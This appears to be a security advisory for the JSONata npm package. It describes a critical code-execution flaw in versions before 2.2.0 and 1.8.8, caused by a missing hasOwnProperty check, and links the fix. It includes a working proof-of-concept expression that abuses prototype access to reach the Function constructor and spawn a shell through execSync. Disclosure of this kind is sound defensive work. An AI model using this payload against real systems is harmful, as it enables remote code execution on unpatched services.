PT-2026-80249 · Npm · Jsonata
Published
2026-08-21
·
Updated
2026-08-21
CVSS v4.0
9.3
Critical
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Impact
Before JSONata
2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function:
https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the
2.2.0 release, and ported in the 1.8.8 release.PoC
js
import jsonata from "jsonata";
const expression = jsonata(`
(
lookupSetter (' proto ')(constructor);
defineGetter ('l', constructor("return
process.getBuiltinModule('child process').execSync('sh',{stdio:'inherit'}).toString()"));
valueOf().l
)
`);
await expression.evaluate({});Fix
Code Injection
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Weakness Enumeration
Related Identifiers
Affected Products
Jsonata